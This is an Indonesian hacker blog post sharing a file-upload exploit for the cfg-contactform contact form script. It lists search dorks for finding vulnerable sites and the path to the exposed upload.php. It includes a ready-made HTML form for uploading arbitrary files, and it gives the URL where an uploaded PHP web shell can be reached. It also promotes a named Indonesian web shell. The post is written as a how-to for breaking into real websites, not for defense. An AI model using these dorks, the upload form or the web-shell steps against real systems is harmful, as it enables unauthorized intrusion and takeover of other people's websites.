cfg-contactform Vulnerability File Upload

iseng2 share exploit lawas, kali aja masih crootz.
btw sekalian nyicip Shell BACKBOX INDONESIA WEB SHELL V1.0 (BASED ON INDOXPLOIT SHELL) dari Kang hightech.

langsung ja, Play with me Baby  :heart:

Dork:
"/cfg-contactform-1/" 
"/cfg-contactform-2/"

# Disini exploitnya tergantung contact form yg keberapa mas bro,
/[path]/cfg-contactform-1/inc/upload.php

Vuln? {"filename":" -001."} *trgantung dork sih



CSRF Upload:
<form enctype="multipart/form-data"
action="target" method="post">
<input type="text" name="folder" value="./" /><br />
Please choose a file: <input name="Filedata" type="file" /><br />
<input type="submit" value="upload" />
</form>

lalu tinggal upload file/shell ente.
kalo berhasil muncul nama shell ente



Shell Akses:/[path]/cfg-contactform-1/upload/namashell.php



untuk code PHP disini 

Semoga bermanfaat gengs, maap kalo tutor cupu  :D
jgn lupa kunjungin Blog ane juga yak wkkww : TKJ Cyber Art

~ Bye


SUMUR